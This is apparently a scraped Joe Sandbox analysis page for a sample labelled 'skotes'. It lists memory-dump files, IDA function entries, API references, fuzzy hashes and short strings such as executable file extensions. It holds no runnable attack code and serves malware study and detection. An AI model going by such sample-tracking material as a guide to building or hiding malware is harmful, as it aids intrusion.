Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 163fdb54c6cba91d0546af17efc3c13ad04d3eca3979e4ae30cac8b01d202eab
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: EDB122729042869FDB158F68C8817BEBBE6EF45384F24916BE955FB342D6348D03CB60

Function 00EE67A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00EE6902
__alloca_probe_16.LIBCMT ref: 00EE6998
__freea.LIBCMT ref: 00EE6A03
__freea.LIBCMT ref: 00EE6A0F

Strings

ej, xrefs: 00EE6949, 00EE681A

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ej
API String ID: 1635606685-3076059804
Opcode ID: f940a578e82cc4bce02fafc3d54a79879178c66b4d1b418cf977d6c9db7084c5
Instruction ID: fc7d8ed0d1b5e0a36a538fe4b820f9a51751743f444e6949a2f28409874927fc
Opcode Fuzzy Hash: f940a578e82cc4bce02fafc3d54a79879178c66b4d1b418cf977d6c9db7084c5
Instruction Fuzzy Hash: EB81C372D0028D9BDF249E668881AEF7BF5DF69398F196065E804B7241E736CC40CBA1

Function 00ED1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00ED1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED1C2A

Strings

switchState, xrefs: 00ED1B5E
pContext, xrefs: 00ED1C22

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 14a6687bd5b4577364156b5d0b7cf33a1e130404c77d1cfa49c0b8cd0cdbd69d
Instruction ID: d152960028e86d8aeb8666e3e269a61e98ad84799e85753eedb2708022797fab
Opcode Fuzzy Hash: 14a6687bd5b4577364156b5d0b7cf33a1e130404c77d1cfa49c0b8cd0cdbd69d
Instruction Fuzzy Hash: 3431A435A00214AFCF14EF64C881AADB3B5FF44314F2055A7E911B7392EB71ED06CA90

Function 00ED4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00ED4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00ED4E86
PMDtoOffset.LIBCMT ref: 00ED4EAC

Strings

Bad dynamic_cast!, xrefs: 00ED4EEE

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 42383ccb6b634fcabffbb4eecf9433ade9b13b3156c5181b40aa14bfee89c6b7
Instruction ID: d947c7519014f02147c8dba4cf6fcae26c1afced8f25498b4dd4b76c8da02479
Opcode Fuzzy Hash: 42383ccb6b634fcabffbb4eecf9433ade9b13b3156c5181b40aa14bfee89c6b7
Instruction Fuzzy Hash: BE21B7B2604205AFCF14DFA4DD46AAA77A4FB64714B10612BFD11BB3C0E771E9029691

Function 00ED727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00ED72BE

Strings

.bat, xrefs: 00ED72ED
.com, xrefs: 00ED72FE
.cmd, xrefs: 00ED72DC
.exe, xrefs: 00ED72CB

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
